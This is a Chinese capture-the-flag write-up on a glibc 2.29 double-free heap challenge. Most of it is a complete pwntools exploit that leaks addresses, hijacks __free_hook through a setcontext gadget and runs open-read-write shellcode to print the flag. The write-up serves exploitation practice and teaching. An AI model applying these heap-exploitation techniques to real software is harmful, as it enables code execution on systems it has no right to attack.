长城杯writeup

当时没时间写,后面用自己本地2.29libc的环境复现了下,libc2.29打free_hook orw的模板

0x01 题目描述

libc2.29 具有doble free的漏洞,具有add,show,edit,delete的功能,但只能申请0x60大小以下的堆块,并且需要orw

0x02 思路

  • 泄漏堆地址后,修改一个chunk的size大于0x440,free掉后从而泄漏libc地址
  • 在堆上布置好shellcode,frame内容后把 free_hook更改为2.29特殊的gadget,然后free掉一个堆快来设置rdi和rdx

0x03 小trick

搜索2.29 从rdi转到rdx的gadget

1
ropper -f ./libc-2.29.so --search 'mov rdx'|grep "rdi + 8"

0x04 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
from pwn import *
sh = process('./pwn')
context.terminal = ['tmux', 'splitw', '-h']
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#sh = remote('47.104.175.110',20066)
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'


libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def menu(choice):
sh.recvuntil(">> \n")
sh.sendline(str(choice))


def add(idx, size):
menu(1)
sh.recvuntil('input index:\n')
sh.sendline(str(idx))
sh.recvuntil('input size:\n')
sh.sendline(str(size))


def move(idx):
menu(2)
sh.recvuntil('input index:\n')
sh.sendline(str(idx))


def edit(idx, content):
menu(3)
sh.recvuntil('input index:\n')
sh.sendline(str(idx))
sh.recvuntil('context:\n')
sh.send(content)

def show(idx):
menu(4)
sh.recvuntil('\n')
sh.sendline(str(idx))

#gdb.attach(sh)

add(0, 0x60)
for i in range(15):
add(1, 0x40)
move(0)
show(0)
heap_base = u64(sh.recvuntil('\n')[:-1].ljust(8,'\x00')) - 0x9f0
log.success('heap_base: ' + hex(heap_base))

for i in range(15):
add(2, 0x40)
move(1)
edit(0, p64(heap_base + 0x1210-0x10) + '\n')
add(2, 0x60)
add(2, 0x60)
edit(2, p64(0) + p64(0x4f1-0x50+0x10) + '\n')
# add(1,0x40)
move(1)
show(1)
libc_base = u64(sh.recvuntil('\n')[:-1].ljust(8,'\x00')) - 0x1e4ca0
log.success("libc_base: " + hex(libc_base))
IO_file_jumps = 0x1e6560 + libc_base
IO_str_jumps = libc_base + 0x1e6620
binsh_addr = libc.search("/bin/sh").next()
stdout_file = libc_base + 0x1e5680

shellcode = '''
mov rax,0x67616c662f2e
push rax

mov rdi,rsp
mov rsi,0
mov rdx,0
mov rax,2
syscall

mov rdi,rax
mov rsi,rsp
mov rdx,1024
mov rax,0
syscall

mov rdi,1
mov rsi,rsp
mov rdx,rax
mov rax,1
syscall

mov rdi,0
mov rax,60
syscall
'''

frame = SigreturnFrame()
frame.rsp = heap_base + 0x2500
frame.rdi = heap_base
frame.rsi = 0x5000
frame.rdx = 4 | 2 | 1
frame.rip = libc.sym['mprotect'] + libc_base

payload = str(frame)

for i in range(0, len(str(frame)), 0x60):
move(0)
edit(0, p64(heap_base + 0x2000 + i) + '\n')
add(1, 0x60)
add(1, 0x60)
edit(1, payload[i:i+0x60])

shellcode =p64(heap_base + 0x2500 + 8) + asm(shellcode)


for i in range(0, len(shellcode), 0x60):
move(0)
edit(0, p64(heap_base + 0x2500 +i) + '\n')
add(1, 0x60)
add(1,0x60)
edit(1, shellcode[i:i+0x60])



free_hook = libc_base + libc.sym["__free_hook"]
gadget = 0x12be97 + libc_base

set_contextaddr = libc_base + libc.sym['setcontext']


move(0)
edit(0, p64(0)*2 + '\n')
move(0)
edit(0, p64(heap_base + 0x3000 +i) + '\n')
add(1, 0x60)
add(1, 0x60)
edit(1,p64(set_contextaddr+53) + p64(heap_base + 0x2000))


move(0)
edit(0, p64(0)*2 + '\n')
move(0)
edit(0, p64(free_hook) + '\n')
add(2, 0x60)
add(2, 0x60)
edit(2, p64(gadget))



move(1)



sh.interactive()

https://oneda1sy.gitee.io/2021/05/24/heap-Plain-SeccompAttack2.29/

https://wood1314.github.io/year/04/06/cklza4rcn000dalu506tx8974/#more

https://darkeyer.github.io/2020/08/17/FSOP在glibc2.29中的利用/

-------------本文结束感谢您的阅读-------------
+ +